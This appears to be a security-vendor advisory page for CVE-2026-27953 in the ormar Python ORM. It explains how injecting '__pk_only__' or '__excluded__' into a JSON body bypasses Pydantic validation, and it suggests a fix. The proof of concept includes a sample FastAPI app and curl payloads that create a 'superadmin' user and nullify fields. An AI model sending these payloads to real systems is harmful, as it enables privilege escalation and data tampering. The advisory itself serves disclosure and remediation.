# CVE-2026-27953: ormar PrivEsc — Fixed in 0.23.1

🐍

🐍 PyPI

Not in CISA KEV

HIGH severity

# CVE-2026-27953 — ormar

HIGH [Fix: ormar-orm/ormar@7f22aa2](https://github.com/ormar-orm/ormar/commit/7f22aa21a7614b993970345b392dabb0ccde0ab3)

CVE-2026-27953 is a high-severity (CVSS 7.1) Improper Input Validation vulnerability in ormar. A fix is available for ormar — see the affected versions and patch details below.

ormar has a Pydantic Validation Bypass via Kwargs Injection in Model Constructor

Also known as[GHSA-f964-whrq-44h8](/vulnerability/GHSA-f964-whrq-44h8)PYSEC-2026-2247

Published

Mar 19, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27953.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

1.2%probability of exploitation in next 30 days

Lower Risk+0.03%

Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk

0.00%0.58%1.16%1.74%0.4%1.2%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐍`ormar`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

A Pydantic validation bypass in `ormar`'s model constructor allows any unauthenticated user to skip **all** field validation — type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks — by injecting `"__pk_only__": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar's official documentation and examples.

A secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.

#### Details

**Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs:

```
# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False)      # ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)

new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)

if not pk_only:
    # Normal path: full Pydantic validation
    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
    self.__pydantic_validator__.validate_python(
        new_kwargs, self_instance=self
    )
else:
    # Bypass path: NO validation at all
    fields_set = {self.ormar_config.pkname}
    values = new_kwargs
    object.__setattr__(self, "__dict__", values)       # raw dict written directly
    object.__setattr__(self, "__pydantic_fields_set__", fields_set)
```

The `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag.

**Why the canonical FastAPI + ormar pattern is vulnerable:**

Ormar's official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:

```
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
    await item.save()
    return item
```

FastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar's `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic's validator inspects the data, so Pydantic never sees it — even `extra='forbid'` would not prevent this, because the key is already consumed by ormar.

The ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra='forbid'`, providing no protection even in theory.

**What is bypassed when `__pk_only__=True`:**

-   All type coercion and type checking (e.g., string for int field)
-   `max_length` constraints on String fields
-   `choices` constraints
-   All `@field_validator` and `@model_validator` decorators
-   `nullable=False` enforcement at the Pydantic level
-   Required-field enforcement (only `pkname` is put in `fields_set`)
-   `serialize_nested_models_json_fields()` preprocessing

**Save path persists unvalidated data to the database:**

After construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` — persisting the unvalidated data to the database with no re-validation.

**Secondary vulnerability — `__excluded__` injection:**

The same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292):

```
excluded: set[str] = kwargs.pop("__excluded__", set())
```

At lines 326-329, fields listed in `__excluded__` are silently set to `None`:

```
for field_to_nullify in excluded:
    new_kwargs[field_to_nullify] = None
```

An attacker can inject `"__excluded__": ["email", "password_hash"]` to nullify arbitrary fields during construction.

**Affected entry points:**

Entry Point

Exploitable?

`async def create_item(item: Item)` (FastAPI route)

Yes

`Model.objects.create(**user_dict)`

Yes

`Model(**user_dict)`

Yes

`Model.model_validate(user_dict)`

Yes

#### PoC

**Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:**

```
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar

DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
    database=ormar.DatabaseConnection(DATABASE_URL),
    metadata=sqlalchemy.MetaData(),
)

@asynccontextmanager
async def lifespan(app: FastAPI):
    database_ = app.state.database
    if not database_.is_connected:
        await database_.connect()
    # Create tables
    engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
    ormar_base_config.metadata.create_all(engine)
    engine.dispose()
    yield
    database_ = app.state.database
    if database_.is_connected:
        await database_.disconnect()

app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database

class User(ormar.Model):
    ormar_config = ormar_base_config.copy(tablename="users")

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=50)
    email: str = ormar.String(max_length=100)
    role: str = ormar.String(max_length=20, default="user")
    balance: int = ormar.Integer(default=0)

# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
    await user.save()
    return user

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8000)
```

**Step 2: Send a normal request (validation works correctly):**

```
# This correctly rejects — "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "email": "user@example.com"
  }'
# Returns: 422 Validation Error
```

**Step 3: Inject `__pk_only__` to bypass ALL validation:**

```
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__pk_only__": true,
    "name": "",
    "email": "not-an-email",
    "role": "superadmin",
    "balance": -99999
  }'
# Returns: 200 OK — all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)
```

**Step 4: Inject `__excluded__` to nullify arbitrary fields:**

```
curl -X POST http://127.0.0.1:8000/users/ \
  -H "Content-Type: application/json" \
  -d '{
    "__excluded__": ["email", "role"],
    "name": "attacker",
    "email": "will-be-nullified@example.com",
    "role": "will-be-nullified"
  }'
# Returns: 200 OK — email and role are set to NULL regardless of input
```

#### Impact

**Who is impacted:** Every application using ormar's canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.

**Vulnerability type:** Complete Pydantic validation bypass.

**Impact scenarios:**

-   **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `"user"`, an attacker can set `role="superadmin"` by bypassing the validator
-   **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed — invalid data is persisted to the database
-   **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
-   **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL

**Suggested fix:**

Replace `kwargs.pop("__pk_only__", False)` with a keyword-only parameter that cannot be injected via `**kwargs`:

```
# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
    ...
    pk_only = kwargs.pop("__pk_only__", False)

# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
    ...
    object.__setattr__(self, "__pk_only__", _pk_only)
```

Apply the same fix to `__excluded__`:

```
# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())

# After (secure) — pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
    ...
    # In _process_kwargs:
    excludes = _excluded or set()
```

Internal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐍PyPI

`ormar` 

all versions

0.23.1`pip install --upgrade 'ormar==0.23.1'`

## Affected Products

1 product · 1 configurations

Application

`ormar`collerek

< 0.23.1

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ormar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update ormar to 0.23.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27953 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
    

## Frequently Asked Questions

\### Summary A Pydantic validation bypass in \`ormar\`'s model constructor allows any unauthenticated user to skip \*\*all\*\* field validation — type checks, constraints, \`@field\_validator\`/\`@model\_validator\` decorators, choices enforcement, and required-field checks — by injecting \`"\_\_pk\_only\_\_": true\` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the \*\*canonical usage pattern\*\* recommended in ormar's official documentation and examples. A secondary \`\_\_excluded\_\_\` parameter injection uses the same design pattern to selectively nullify arbit

O3 Security · Impact-Aware SCA

### Is CVE-2026-27953 in your dependencies?

Find it across PyPI, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)